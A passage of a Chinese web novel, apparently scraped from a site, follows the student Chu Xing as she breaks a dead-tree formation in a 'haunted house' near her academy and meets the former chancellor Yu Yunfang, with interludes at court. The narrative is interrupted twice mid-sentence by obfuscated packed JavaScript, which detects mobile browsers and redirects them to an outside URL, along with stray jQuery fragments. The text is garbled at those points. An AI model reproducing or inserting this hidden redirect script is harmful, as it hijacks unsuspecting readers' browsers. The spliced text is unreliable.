直到她提着灯快步在田间走远,栗铜才抬手抹了一下自己脑门上冒出的冷汗,“我娘举着烙铁喊我大名的时候,我都没出过这么多冷汗。” 有人惊讶,“不是!她怎么真去啊!” “万一真出事怎么办啊……” 栗铜:“闭嘴,以前我们不是去鬼宅附近查看过么,那门和四面墙都那么高,谁能进去,她围着那儿转一圈想不到进去的办法,就知道自己回来了。” 成非默默说,“你们还不知道吧,初眠眠将苟旦家还有陈家宝家的院墙翻得都不爱翻了,她想进哪儿,我觉得就没有进不去的。” 栗铜瞪了瞪眼睛,心里也泛起了嘀咕 一旁的赵芊芊实在不晓得与自己同屋那丫头哪来的自信,敢在夜里独自去鬼宅找人,她只知道传言可怕,女子深夜独身去一座空宅院也可怕。 于是她想趁着这些男孩不注意悄悄去找邱夫子,可是还没跑出百果园,自己的后颈衣领就被人拉住。 栗铜揪着赵芊芊的衣领如同掐着一只还没出满月的小猫,“今日这初眠眠我是整定了,谁也别想出去通风报信!” 成非走过去将他的手从赵芊芊脖子上拍下去,说,“你最好一直这么硬气,要是他们真有个好歹,我会将你这话讲给夫子和他们父母听。” 栗铜冷哼,不再言语。 赵芊芊问成非,“怎么办,他们怎么办?” 成非看着远处那颗缓缓移动的微弱红点,“我总觉得这丫头邪门的很,想救的人、想干的事就没有办不成的,初眠眠方才跟你说,她会回来,那么她就一定能回来。” 走出白果园的学田,初暒提着灯笼在黑夜里疾步前行,有风拂过时,烛火晃动,就在她将将看到鬼宅大门之时,‘呼’得一声,笼中火苗被风带走,只留下细细一条白烟扭动着逐渐散去。 周围漆黑一片,初暒立刻闭眼蹲下,以使眼睛适应这片黑暗,须臾,她慢慢睁开双目,观察四周并无异动后才起身往鬼宅大门摸去。 学生们将这里叫鬼宅,可借着月光,初暒看到这宅院与寻常大户人家居住的院子没有什么区别,无非就是院墙高了些。 鬼宅门楣上还挂着一块久经风霜的牌匾,上面的字已经斑驳脱落,她费力辨认才看出第二三个字分别是心与义。 院子里很安静,并没有什么挣扎与呼救的声音。 走到这里,初暒已经确认说苟旦失踪不过是栗铜为了诓骗自己来此处的幌子,不过…来都来了,那就进去看看。 这宅子院墙很高,墙面也没有可以借力的坑洼,初暒没有白费力气去翻墙,而直接在卷棚底下转悠,她搭着两个门钹想扒在门缝往里看,才一使劲儿,两扇大门居然‘吱吱呀呀’的露出条窄缝来。 不请自来这事儿初暒干的多了,故而她毫不犹豫地跨过门槛从窄缝里钻了进去。 ‘砰!’ 像是有人操控,她后脚刚从门槛落下,大门就应声关住。 初暒只回头看了一眼,就继续小心往前走。 手里无灯,宅院布局和脚下的路都看不真切,只得侧着身,让左脚探路右脚紧跟,走过门楼就是前院,抬头就能看见一片星空。 幸亏今夜天气不错,万里无云,月亮也已经升到头顶,此刻光芒普照,初暒以为终于能清楚地看清院心,却没想到这门楼之外、院心之中仍是黢黑一片。 定睛看去,这片黑暗里竟还交叉着数条漆白光柱,这光柱好似从山野遍布的丛丛高大树木间透下来的天光一般无二。 初暒又走了几步,伸手去摸,果真触到了树木的干枯纹路。 有人在这院里种满了树。 ‘有胆大的白天翻墙去看,却只能在院中看到如同乱麻的枯木,等跳进院里才发现那群枯木像是成了精一样会来回飘动,走在里面的人就如同遇上鬼打墙一般,怎么也找不见出路,一直在天黑月亮升起能辨明方向后,方摸着院墙哭嚎着爬出来了。’ 苟旦的话响在耳边,初暒忽然觉得不对,她站在原地后退同样几步,再转过身却差点撞上另一棵枯树。 从眼前的枯树旁绕过,再走几步头顶是遮天的树枝,而眼前仍旧矗立着繁多且错杂的树。 她迷路了。 从门楼出来踏进院中不到片刻,就转不出去了? 初暒不信邪,蓄力朝着枯树之间的空地直直向前跑,可稍不留神,一棵枯树撇出来的粗壮枝节横空冒出,一下撞到了她的唇角下巴,疼得她龇牙咧嘴。 慢走是绕路迷宫,硬闯是伤人陷阱。 初暒冷静下来才恍然,此处并非什么枯树丛,而是阵。 有人在这座宅院中用棵棵枯树摆了一个阵,瞧这阵迷惑敌人、虚张声势的架势像是书中记载的疏阵。 她曾在慕峰青搜刮来的兵书里看到过关于将领排兵布阵的字句以及运用各种阵法作战的要领,但那书中文字冗长、搭配的简笔示意图又难看扭曲至极,她嫌枯燥,因而从来没有仔细研读过,此时身陷囹圄,才真真晓得母亲教她那句‘书到用时方恨少’的良苦用心。 刚在鬼宅外面转悠过,初暒估算出这座宅院占地最多不过两亩,除去几间高出院墙的屋顶,自己身处的院子面积其实并不算大。 想到用阵来迷惑闯入者,就说明此处极易闯入与逃出,这个阵法不过是利用了人眼无法在暗夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888084|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清晰辨明方向而已。 就像即使没有阵,人偶尔也会在黑夜中原地打转,俗称鬼打墙。 初暒搭靠在一棵枯树树干上观察着前方可以通行的地面。 和迷宫不同,这儿的树木之间可以随意穿过,既然……睁着眼睛走不出去,那么就闭上双眼往外翻呗。 说干就干,她随意找了一片空地,高举双手,动作及标准的匀速做着前手翻,若是挨着枯树就蹭着树皮落地,若是没遇着树,就继续往前翻,也不睁眼去瞧自己到底落在何处。 大约翻了五六次后,初暒觉得起身有点费劲,直起腰后又发觉双脚好像踩在了一块地势较高之处,直到蹲下去摸,她才知道自己已经踏上了一级石阶。 顺着石阶边缘一直摸到垂直院墙,初暒终于松了口气,有墙就有路,于是她扒着墙皮往外走。 她估量的不错,只走了几十步就看到了来时的门楼和天上的明月,只是大门在她进来后就已经自行关闭,那门体敦实厚重,见使蛮劲也拉不开,初暒抬眼盯上了宅院高挺的院墙。 院墙极高,从外面不好进,可是在里面却容易攀出。 初暒后退两步助力起跑,右脚借力倚在墙边的大树枯枝,左脚蹬上院墙一处坑洼,双手用力一拽整个人便吊在院墙顶部,她抱着砖瓦又一使劲,右腿带动左腿跨上了墙头。 “呼~” 稍微歇息片刻,初暒从墙上一跃而下,在土地上翻滚了一圈后整个人稳稳落地。 起身将手里和身上的土拍掉,初暒借着月光望向这座奇异宅院。 修葺在远离繁华之境的深山之中,有许多骇人传闻,院心里还种满了用来布阵的假作威势,唬人惧怕的枯枝烂树。 有意思。 初暒转身离开。 她来安南书院读书本就另有目的,所以除了在被人招惹欺负时会还手,多数时间她从来不做任何引人注目的事情,但是这座‘鬼宅’之中疏阵她十分感兴趣,也好奇那阵出自何人手笔。 此时的百果园夜深人静,初暒抬手拉开木门时被上面突出的小刺扎了一下,她下意识缩回手,揉揉指尖,暗想,“每日都有人开关此门,怎的还没将把手磨平。” 忽然,她摩挲着自己的指尖猛地想起,刚刚搭着鬼宅两个门钹扒在门缝往里查看时,并没有摸到门钹上有灰。 门钹是干净的,这说明近日可能有人进过那里,又或那里…一直住着人…… 昨日蹴鞠比试兴奋过了头,苟旦一起床就觉得自己浑身酸痛,腰不是腰、要不是腿、屁股也不是屁股,晨起后,他紧锁着眉忍痛洗漱完,又回屋将睡前做好的一堆竹编蚂蚱扔给陈家宝,“哎,我做好了啊,你一会儿带给栗铜,还不起么,马上就要打上课梆子了。” 陈家宝蒙着被子闷哼一声,“天亮了啊……啊!天亮了!” 像是大梦初醒,陈家宝掀起被子从床上蹦起来,“我怎么睡着了!有人来过没有?初眠眠回来没有?” 苟旦不知所以,“什么人要来,关眠眠什么事?” 这人一问三不知的模样叫陈家宝心中咯噔了一下,他连忙将衣服套在身上夹着书本撒腿就往外跑,苟旦见状也跟在他身后出来。 男寝里出来上课的学生们见苟旦在这儿,忙追上来问,“喂苟旦你什么时候回来的啊,鬼宅你进去了吗,那里面长什么样啊!” 苟旦:“什么鬼宅?” “昨日你与栗铜比试蹴鞠不是约定输了的人去鬼宅取一样东西么,栗铜说你输了,所以独自去鬼宅了呢。” “没有啊,他对我说输了的人要用竹叶扎三十只蚂蚱呢,我昨天一直从傍晚扎到了半夜,眼睛都快盯瞎了。” “啊!那可坏了,初眠眠以为你去鬼宅了,又许久不见你回来,所以独自进鬼宅找你去了,也不知昨夜有没有回来呢!” “什么!” 苟旦大惊,立刻拔腿往女子校舍跑去,刚到校舍门口,他就看见赵芊芊从里面走出来,忙问,“眠眠呢?” 赵芊芊回头扬了扬下巴,“那不是么。” 36. 破阵 竟平安回来了? 众人诧异的顺着赵芊芊的目光望向正从校舍门槛上往出迈步的初暒,发现她胳膊腿俱在,神情也如常,就是那张小脸…… “眠眠你还好吗?诶…你这嘴角怎么青了!” 苟旦最先扑过去询问,见她脸上有伤急的差点上手触碰,初暒侧脸避过,道,“不小心撞的,不碍事。” “对不住,害你担心了,我不知道栗铜他用我诓你。”苟旦这时才想明白,“怪不得昨晚陈家宝不让我出去,非缠着我在屋里编蚂蚱。” 看他内疚,初暒拍拍苟旦的肩膀,“你没事就好,要上课了,咱们走吧。” 讲经堂内。 明明约定将初暒骗进鬼宅之后,喊人将此事告诉苟旦,他们众人再一起去看在鬼宅门口惊慌失措的初眠眠的笑话,说好要按照计划行事,可是怎么所有人都一直睡到了天大亮。 要是真惹出了祸怎么办! 陈家宝惊醒后也跑向了女子校舍,见初暒好好走出来,提起来的心不仅没有放下反而又沉沉跳了几声。 他又折回去将还在被窝里呼呼大睡的栗铜揪到讲经堂。 陈家宝:“我们将初眠眠摆了一道,你觉得以她那个性子会放过我们?怎么还有心情打瞌睡!” 栗铜揉了揉惺忪睡眼,“不是囫囵个回来了么,这么大惊小怪做甚,就算她不放过我们又如何,难不成还想让我先跪地求饶?” 他一副死猪不怕开水烫的架势,陈家宝叹了口气,“就知道跟着你准没有好事!” “那可说真不准。” 栗铜嘿嘿两声,抬眼的时候瞧见从窗外走过了一群人,他仔细扫视过每一个人,终于在所有人都进来后,找到走在最后的那位。 “哈哈哈哈哈哈……”栗铜忽然指着初暒大笑起来,“初眠眠你不是很厉害吗!怎的脸上让人锤了这么大一片彩啊!” 见他笑得夸张,堂内其他学生也低声在笑,陈家宝却生怕初暒一个箭步冲过来给栗铜和自己脸上甩巴掌,目光一直在瞥周边可以躲藏的角落。 苟旦听见大家嘲笑,攥着拳就要向栗铜冲过去,却被初暒摇头拦住。 邱阳这时进来,见大家的情绪都十分高涨,于是问,“诸位昨日蹴鞠比试的可好?” 栗铜心情极佳,大喊,“好得很,我们小队踢遍书院无敌手了!” 苟旦阴阳怪气回道,“蹴鞠最是费脚,你踢的那样好,不如回家劳烦栗夫人,也给你钉一双马蹄铁。” 栗铜家中以打铁为生,可他平日最烦旁人提及此事,见苟旦挑衅,他起身怒道,“苟旦你有种再说一遍!” 不是苟旦没种,是邱夫子虽然好说话,但也不能放任弟子在他眼皮子底下放肆,“课上吵嚷,下学后你二人各将《论语》誊抄两遍,静静心。” 栗铜:“是。” 苟旦:“是。” 两人皱眉恭敬答是,邱阳盘腿坐下时,像是无意间瞥见什么似的,随口问了一句,“初家眠眠,你脸上的伤是怎么回事?” 初暒起身回,“夜里黑,拐弯时不小心撞树上了。” “我瞧你也不像不小心的孩子。”邱阳示意她坐下,“夜里无事时,还是安心待在校舍里最好。” 初暒若有所思的看着夫子,低低应了声‘是。’ 好不容易捱到了下课,有多事的学生一见邱阳出门,就立刻围到了初暒身边,问,“初眠眠,你昨夜真独自进了鬼宅啊!那里面什么样,有鬼没有?” 初暒说,“你要是很好奇,可以自己去看看。” 栗铜冷笑,“要是真有鬼,你此时围着的这个就是只女鬼。” 昨日被那鬼宅院里的枯枝甩了一下,嘴角到现在还又疼又痒的,初暒不想忍痛骂他,只抿了抿唇从位置站起,面不改色的用力踩了栗铜一脚后款款出了讲经堂。 围在这里的人见她居然默默受了栗铜的嘲讽没有作声,都觉得有些不可思议,直到栗铜反应过来抱着脚痛得满地蹦跶时,众人才知晓刚刚在他们脚底下发生过什么。 苟旦看着哎呦喊疼的栗铜,冷嘲,“就说你缺一副马蹄铁了。” 邱阳下课后就直接回书房翻看学生们交上来的功课,他正用朱笔勾画的认真,忽听门外有人在敲。 “何人?” “学生初眠眠。” “你进来说话。” 这姑娘自进入书院以来,除了性子顽固、孤僻了点,对诸位夫子都表现得十分敬重,于学业也是十分刻苦,有好几次邱阳都见她独自抱着书卷在座位上认真研读。 今日见她主动来寻自己说话,想来是遇到什么难处了,于是邱阳柔声询问,“你来找我,所谓何事?” 初暒:“昨日男孩子都跑去蹴鞠,我闲着无聊便自己去了四教亭温书,期间从书中读到一句话思来想去怎么也读不明白,正是作难之时,眼睛忽然瞥见脚下石凳内侧掉了一个小书卷,将其捡起后看到上面只有歪歪曲曲的错杂线条,我以为那是同窗们掉的,可翻看时又觉得那书卷不像是他们惯用的,于是便想着将此物上缴,由夫子定夺去处,却不想,在书院哪哪儿都没找着一位夫子。” 邱阳了然,笑了笑说,“昨日官府的人来书院巡查,诸位夫子皆于前院崇义斋内接待官差,若下回再在书院内找不见一位夫子,直接去哪儿寻人便可。” 初暒故作惶恐,低声自语,“官差?啊怪不得我听栗铜说前几日在书院门口见着一个被山匪连衣裳都抢走的人来书院求救呢,原来不是他扯谎,是咱们书院附近真有山匪作乱……” 这孩子将自己的乱思乱想都说了出来,邱阳觉得好笑,但转念又想起那日身着褴褛衣衫来为柳思无传话的小厮。 柳思无? 邱阳记起柳思无来书院那日,就曾坐在四教亭与他闲谈。 “那书卷现在何处?” 初暒从左袖中取出,双手奉上,“就在这儿。” 邱夫子看着自己的左手愣了一下,初暒便知晓这书卷与他并无关系。 她见邱阳出神,趁机问,“您可知这地形图上画的是何处?” “既有坡度、有沟谷,呈脉状分布,沟壑之间有重叠、有交错,连绵不绝,像是山脉。”邱阳一说出口就意识到这是图上记述的是什么地方,也终于明白那日柳思无与他说话时,捏着自己左边袖袋的欲言又止。 邱阳眉头微蹙,许久不语,初暒轻声喊了声,“夫子?” “嗯,此物我知晓是谁遗落,暂且将它先放在我这里罢。” 初暒看他低头将书卷放进斗柜,悄悄往吴夫子座位方向走了两步,看清了挂在墙壁上那副山水图角落盖着的朱文钤印。 将书卷收好,邱阳又隐约觉得好像有些奇怪,他见初暒正四处张望,刚要开口,就听她先说,“那夫子忙着,学生先行退下。” 既已看见书卷上只有歪歪曲曲的错杂线条,为何又问自己可知这地形图上画的是何处? 她怎知这书卷上画的是地形? “等等。” 邱阳喊住初暒,问,“不是说昨日温书时,有一句话读不明白,是哪本书中的哪句话?我此时有空,正巧能为你详说解答一番。” 编完瞎话,又不想再圆回来。 初暒往前走的步子一顿,随后又回头尴尬笑笑,“书中困惑,当日吃过饭就忘了,下回想起来再告诉您。” 邱阳点点头,“回去将苟旦叫来,就说我有事要劳烦他。” “好。” 不知道邱夫子找苟旦做什么,初暒四处问了才知晓苟旦这些时日一有空就钻到百果园翻地去了,颇有一些弃笔从农的意思。 有顺路过去的同学说‘我去替你跑趟腿’,然后没一会儿就见苟旦回来,站在讲经堂门口得意高喊,“栗铜,邱夫子说你有空在院里谣诼,不如再多将《论语》抄上两遍。” 栗铜难过且纳闷,“啊?我谣诼何事了?” 不让自己带话,反倒让刚同栗铜有过不愉快的苟旦来传罚,这样做苟旦的两遍《论语》或许会越抄越有劲儿,栗铜的那四遍恐怕字字都是困惑与折磨。 这位邱夫子,真不是一般人。 初暒靠在门边挑了挑眉,而后抬手握住左边袖口。 那张地形图描画的确是山脉地形,瞧邱阳的模样像是第一次见到,看来那日柳大人来书院时并没有将此物在他面前取出。 中北地大物博,高山海岛、平原湖泊自是数不胜数,可是为何有人将一条山脉专门描摹出来? 这山到底有何奥秘。 还有那位柳大人明明丢了东西,却又谎称并未遗失此图,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈家宝甩甩脑袋,将这个念头赶了出去。 而脸被锤成调色板的初暒本人并没有在校舍躺着。 她托陈家宝告假后,将书院当做防护器械的小钉耙头卸下拎走,又从百果园门口水井旁把备用井绳斜挂在肩上,等苟旦他们走了才侧身从墙角阴影中出来。 趁着天光正亮,初暒再一次独自来到了鬼宅。 昨夜这宅院的大门虚掩着,今日却好似上了锁,从外面用力并不能推开,故而初暒走到侧面院墙,用井绳把钉耙箍紧后用力甩上墙头。 她使劲儿扯了扯井绳,确认钉耙勾牢固后,徒手攥着绳索并蹬墙借力,很快便麻利的攀进了这座高墙大院。 走过门楼,院心之中的枯树丛在日头下清晰矗立在初暒眼前,她观察着这个用树木摆出疏阵,习惯性开始思索如果两军在夜间对战,倘若敌首指挥部队摆出这阵法时,自己该如何用兵破阵。 从院墙上垂下来的井绳在余光中逐渐显眼,初暒看着它脑袋里立即生出一个念头。 她扯下缰绳并将其缠绕在阵前最突出的一棵枯树根部,随后便顺着井绳直直将它往后拉展,因为注视着井绳倒走,所以行走的方向即使稍有偏差也能迅速调整过来。 井绳被扯到尾部,她抬眼一瞧,自己也在不知不觉中走出了这个疏阵。 绳无阵破。 只欣喜了一瞬,初暒便将手中的井绳原地放下,转身推开被这阵挡住的垂花门。 垂花门是内宅与外院的唯一通道,初暒原以为这扇门后会有比疏阵更精巧的阵法,却没想到自己目光所及之处,全是丢散的七零八落的破旧砖块。 她不停跨过脚下的砖块,走到内宅小院一处开出新芽的松柏下,瞧见树下石桌桌面篆刻的棋盘中摆着一残局。 局中黑白两方势如水火,奋力厮杀,然白子依靠其势,步步陷阱、招招阴谋,执黑一方显然已被逼入绝境,只能认命困毙。 这张小小棋盘,竟如此暗流汹涌、杀机四伏。 黑子看起来已经必输无疑,可初暒观此棋局竟觉得有些身临其境,她抬手从棋篓中捻出一子,刚要落下,却听见身后垂花门响—— 有人进来了。 37. 拜师 身后之人毫不掩饰自己踢踢踏踏的脚步声,于是初暒也懒得躲藏,她将手中黑子攥在掌心,转身看清来人后,恭敬拱手行礼。 “见过于先生。” 被称作于先生的老汉一手拄着竹枝扫把一手指着自己,茫然问,“你认识我?” 初暒答,“久仰。” 这老汉哦了一声,拖着大扫把路过初暒坐到她对面的石凳上,“怎么个仰法?” “您亲笔的高山流水图只挂在高处,朱文钤印也拓的高,我幼年时要想看清便只能抬头久仰。” 她说的认真,老汉却好像听到了笑话一般,“我不过是安南书院的扫地大伯,何来亲笔的高山流水图,你这丫头青天白日的怎么净说梦话。” “扫地大伯也有胆住在前朝宰相于允芳的私宅?” 初暒此言一出,那老汉脸上的笑意瞬时全无,他问,“你怎知这里是于允芳私宅?” “古往今来,以文官身份上前线督战指挥,用以少胜多之战闻名天下,在朝中步步高升,官居宰相,反因主战言论过激遭排斥诬陷,被抄家贬为庶民之后只带走了一块题为‘忠心义烈’的牌匾之人……只有于允芳。” “你年岁不大,知道的倒不少。” “那是因为……” 母亲原先就希望她既文武双全,又能担当起重任,故而总将符合她要求这类人的文章墨宝、书画事迹等拿给自己看。 看她支支吾吾,老汉打趣道,“要是我也同你一样是自己偷偷跑进来寻摸的呢?” 初暒没有吭声,只伸手指向搭在松柏枝头晾晒的一块半干包头巾。 唔…… 早晨起来忘收了…… “难怪你方才见我,神情如此平静。”于允芳撇撇嘴,“既早就将我认出,还眼睁睁看着我在外头装疯卖傻。” 初暒摇摇头,“我刚来书院那日与同窗发生不快,吴夫子明明不在场却能将参与争执的所有人全数惩罚一通,而除去学生只有你路过那里,故自那时起我心中就开始疑你并非只做书院的打更师傅;之前某夜在百果园里,也是你折断竹枝扫帚顶部配合我吓唬他们,借机证实百果园附近有鬼传闻;昨日,所有夫子均在崇义斋内接待官差,因而书院内不见一位夫子,只是就连成日在书院里转悠于师傅您也不见了人影,想来也是作为夫子去了崇义斋,还有吴夫子书房墙上挂着的印有您钤印的高山流水图,不过……那些都有可能是巧合,还是这院中牌匾与阵法让才我确定,您就是于允芳。” “倒是个细心地丫头。”于允芳点点头,抬手指着桌面残局,“刚进来时,我瞧你正预备落子,但执黑一方已经全无翻身可能,你手里怎的还捻着一颗黑子?” “我瞧局势,下一手该是执黑落子。” 于允芳皱眉说,“这盘残局困了我许久,你是否有法能破此局?” 初暒将黑子置于食指与中指之间,“天下无不可破之局,无非看持子之人敢不敢付出代价,我敢,所以我能。” 她手起子落后,黑子稳稳定在棋盘一隅,由点成线、突出重围,执黑一方于绝境之中逢生,一子翻盘。 转瞬之间,输赢已定。 棋盘之上黑白相间,暗流汹涌、杀机四伏,于允芳抬起头看见了站在自己面前这丫头眼中的深不见底与波澜不惊。 他好奇她的眼神,开口却只问,“你解了这盘残局,想让我如何答谢?” 初暒闻言,撩开裙摆跪地拱手,道,“先生有大才,学生敬仰至,万望倾囊授,来日必报之。” 于允芳捋着胡须自嘲,“我并非如你所说有大才,只不过是多读几本圣贤书罢了,可读的再多又如何,还不是只能窝在小院中疯癫度日。” 初暒一动不动,于允芳又说,“世间女子存活本就不易,纵使你将我的倾囊授全部学去,在这个不讲道理的世道又能做得了什么?我观你如今已快过及笄之年,成婚生子或许才是你该走的路。” “我知道许多人一辈子的路早就被某些不相干的人安排好了,女子犹是如此,但我天生反骨偏偏不服,我非得在旁人立下的规矩中,走自己选择的路。” 这丫头的固执倒是有些似曾相识。 于允芳无奈笑了,起身将她扶起来,“你随我来。” 初暒跟着于允芳又来到了摆在前院的枯木疏阵,她来时搁置在地上的破阵井绳还摆在原处。 “此阵名为‘疏’,只要用心,破阵并不算难,但我在安南书院数十年,只有两人敢入阵进来,你算是其中一个。” 于允芳看着那条笔直井绳,继续说,“‘鬼宅传言’的确是我散出,历届学子皆心照不宣的恪守严禁擅闯此宅这条不成文之规,我知循规蹈矩的人最怕违背规则,可不违背规则如何能寻到非常之理,然,你敢付出寻常人不敢付出的代价,能破不可破之局,只是为了走自己的路,你有远志,而我只寻理,你我殊途,我教不了你。” 有心向学,却被拒绝。 初暒即使心里难过,也没有多说什么,她后退一步向于先生躬身行礼,轻声道,“擅闯私宅是我唐突了,还请于先生不要责怪,既然无缘师徒,那我这就离开。” “我送你出去。” 两人分别走在院中井绳两边,并肩出门,于允芳站在‘忠心义烈’牌匾下,感叹,“往日辉煌,牌匾也熠熠生光,如今岁月已逝,那匾上字迹已被腐蚀黯淡,枯烂不见原状,老朽……亦是如此。” 初暒答,“只要德行端正,世间总有耳清目明之人会将其功绩看在眼里,无论岁月是否逝去,公道自在人心。” 世间擅摆阵法的老师,可遇不可求。 她遇到了,却求不得。 最后一次恭敬向这位背手伫立在破匾下、高台上的老者行过弟子礼后,初暒失落的转身离开。 —— 许是因为官府巡护震慑奏效,安南山近日太平的很。 朝中有人借此邀功,有人反驳只震慑有什么意思,派兵将虔来山来打下来才是真本事,自然也有不少人和稀泥说,听闻齐老将军受伤,边境此时有些许动荡,北漠使臣又还在晁都,内忧外患实在不是出兵的好时机。 说到北漠使臣,终于有人想起问,幽王不是已经接了安抚使臣的旨,怎的都好些时日了还不见有动静? 好不容易将这个黑锅甩出去的礼部官员,拍手让同僚打住:幽王没有动静,自然有人家的道理,那轮得着你在此指手画脚。 好端端发言,却被人呛声,能吞下这口气就不是大兴文官:我食朝廷禄,必担朝廷忧,你算什么东西说我指手画脚。 两方争执,方才因为是否派兵虔来山刚吵完的官员又来劝和,一时之间,金銮殿内吵吵嚷嚷、乌烟瘴气。 坐在高位的小皇帝有口却不能言,竟气的重重拍了一下龙椅搭手。 ‘砰!’ 众官员被这忽然响起的声音震得一惊,齐齐抬眼向此声来处望去。 薛渊自登基后就再没有如此引人瞩目过,一时被这些眼睛盯得有些别扭,于是下意识望向坐在他下位闭目养神的梁崇元。 似乎察觉到他的目光,梁相缓缓微睁双眸,用沉郁顿挫之声,道,“无事便退朝罢。” 文武官员皆颔首答是。 下了朝,柳思无独自往外走,刚出大殿,门外就有一位内侍低眉顺眼,柔声说,“柳大人,梁相邀您于政事堂一叙。” 柳思无点头向内侍回礼后,由他带路。 刚到政事堂门口,他们就见李善仁焦灼的在外徘徊,内侍向柳思无告完罪,连忙跑过去,“干爹,您别急,柳大人来了。” 看见柳思无,李善仁双目立亮,一张光滑老脸上满是讨好,“哎呀柳大人,可算将您盼来了,陛下朝堂失仪,此时正被梁相责罚,您来了就好,老奴这就入内通传。” 李善仁兀自说完便快步轻手推门进去,殿门露出一缝时,柳思无听到里头梁相低语,“为君者喜怒不形于色,好恶不言于表,众官为所担职责与同僚争执不下,本是常态,可陛下今日之举,却将自己的怒与怯全然显露出来,假使得有心之人妄加揣测,定会觉得幽王迟迟不按旨意行事,皆是陛下的意思,若圣意被人轻易知晓,那天子之威,便只沦为儿戏一场……” 先帝临终托孤,梁相受命后辅佐幼帝向来严厉,这些话柳思无只是远远听着都觉得羞愧难当,更何况被臣子当面教导的小皇帝。 候了不多时,政事堂大门均从内里拉开,李善仁躬身抬手将柳思无请进殿中。 见他进来,梁崇元收起厉 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“幽王殿下已经接旨,近来或许正忙于公务呢。” “你没听他们说,皇兄都好些时日了还不见有动静了,不过这北漠使臣也是奇怪,公主都不见许久了,还是如此能沉住气。”薛渊越说,越觉自己心中猜想可信,“难道……李公公,皇兄近日可有去过北漠使臣下榻驿馆?” 李善仁回忆后,答,“去过,但两方似乎并无交涉。” “皇兄从不做白费力气的事,想来他已有安排。” 薛渊此时已经预判出方才官员们在朝堂上争执的结果,可是另外一事他还是有些拿不准,“慕峰青还是推脱不肯上朝?” “散朝时,有官员向慕大人打听,老奴听说慕小将军伤势已大好,不日便可上朝面见。” “那就好,我泱泱大兴王朝,如何能容许山中匪贼在境内为非作歹、害命伤人。”薛渊面上愁容渐消,大步流星的回去抄书。 跟在小皇帝身后的李善仁看着前头已然焕发出少年意气的天子,忽然觉得自己这幅老骨头也好似被浸染出久违的年轻蓬勃。 于是他低头小跑了几步,紧紧跟在主子身旁。 太阳还没有落山,朝堂上诸位官员的言行就被人完整记录下来送到了薛霁手上。 山路崎岖,饶是车夫驾车的技术再高超也难保马车在行驶中没有一丝颠簸。 路过一处坑洼时,无恩没扶好,差些从位置上滑下去,他担忧主子在车里晃得难受,一抬眼,却看见主子仪态端正,坐的十分稳当。 接过薛霁阅完递来的折子,无恩不解,“眼下北漠公主活不见人死不见尸,北漠使臣也都没有作妖只待在驿站乖乖等消息,朝中那些大人怎么还总想将人家丢了公主的使臣早些赶出晁都呢?” “在朝中众人看来,漠匪愚昧粗蛮不善攻于心计,一不如意就只会招兵买马、烧杀抢掠,要是知晓自己的公主死在中北境内,还不知会惹出多大的麻烦,晁都这些年被北漠骚扰的钱粮尽失,他们实在忧心边境战势会侵扰自己的太平日子,何况齐将军老矣,齐家小将太过儒雅,才露出锋芒的慕峰青又让人看不出深浅,而今北漠人就在自己的眼皮底下住着,自然有人会担惊受怕,寝食难安了。” “他们是否害怕倒无甚要紧,只是朝中已经觉察您迟迟不按旨意行事了,属下担忧塔鲁阿茶被旁人先一步找出,那安抚北漠使臣一事咱们会失了先机。” 薛霁撩起车窗帷幔,漫不经心,“北漠打着和亲的名号本就是为了从晁都换些东西回去,塔鲁阿茶失联多久,使臣们明面上就按捺了多久,只因他们心里清楚,公主无论让谁先找到,自己此行都能达成所愿,你所说的‘先机’,其实只是看哪一方更着急。” 若是找到公主,无论死活,北漠都能借机向晁都敲诈一笔,可若是找不到,那这人究竟是死了还是跑了谁也说不清,使臣们不便光明正大的出来寻找,因而只能忍气吞声的静待佳音。 无恩了然,道,“天气回暖,有些东西时日一久,就放不住了。” 马车颠簸的不似方才厉害,没一会儿,就听车外马夫低声道—— “主子,于先生住处到了。” 38. 砖块 山间夜里寒凉,黑的也快。 无恩下车前顺手将一件披风带了出来,刚要披到主子肩上,却被他抬手挡住。 “不必。”薛霁接过车夫手中的灯笼,独自推门进入被安南书院学子们称作‘鬼宅’的院落。 目送主子进去,无恩与车夫轻车熟路的牵着马车走到宅院侧面等候,以免显眼车架吓着夜里在百果园玩耍的学生。 薛霁提灯走过门楼来到前院疏阵之前,借着灯笼光芒,他瞧见枯树阵法中被人用绳索之类的东西拖出了一条清晰印记。 踩着这条印记,薛霁顺利通过此阵,他站在垂花门前回头看了一眼那条破阵之法,心中赞叹,倒也是一位聪明的。 垂花门虚掩着,像是知道今夜会有人到访似的,内宅小庭院里各处石灯幢里都亮着明晃晃的烛火,将自己手中的灯笼搁在地上,薛霁径直走向正趴在松柏下、石桌前不知在认真研究什么的老汉。 有人在自己面前坐下,于允芳头也不抬,“来啦。” 薛霁嗯了一声,也看向桌面棋局。 残局已破,他却视若无睹。 于允芳先忍不住伸手指向桌面,得意道,“瞧,你先前留下的残局被解开了,执黑一方兵行险招、逆风翻盘,你棋逢对手,输的不冤。” 薛霁勾唇,笑问,“我何时告诉过您,在这盘棋中我执白子?” 脸上的笑意一滞,于允芳眉头微蹙,默了许久才说,“那你布的局,已经有人入了。” “那先生您等的人,如今等到了吗。” 于允芳看向垂花门外的漆黑一片,“还是个孩子,我于心不忍,不像你。” 薛霁嗤笑,“您在安南书院里等,能等到的,不就只是孩子。” “你这人说话怎么总是往人心口上扎。” 于允芳有些讪讪,他瞧着薛霁抬手拂袖捻着桌上棋子分别将其放进篓中之举,虽然再常见不过,可偏偏就他做的从容不迫、闲雅贵气。 想了想,他还是问,“承安,你可曾在一个孩子眼中看见过深不见底的仇恨?” 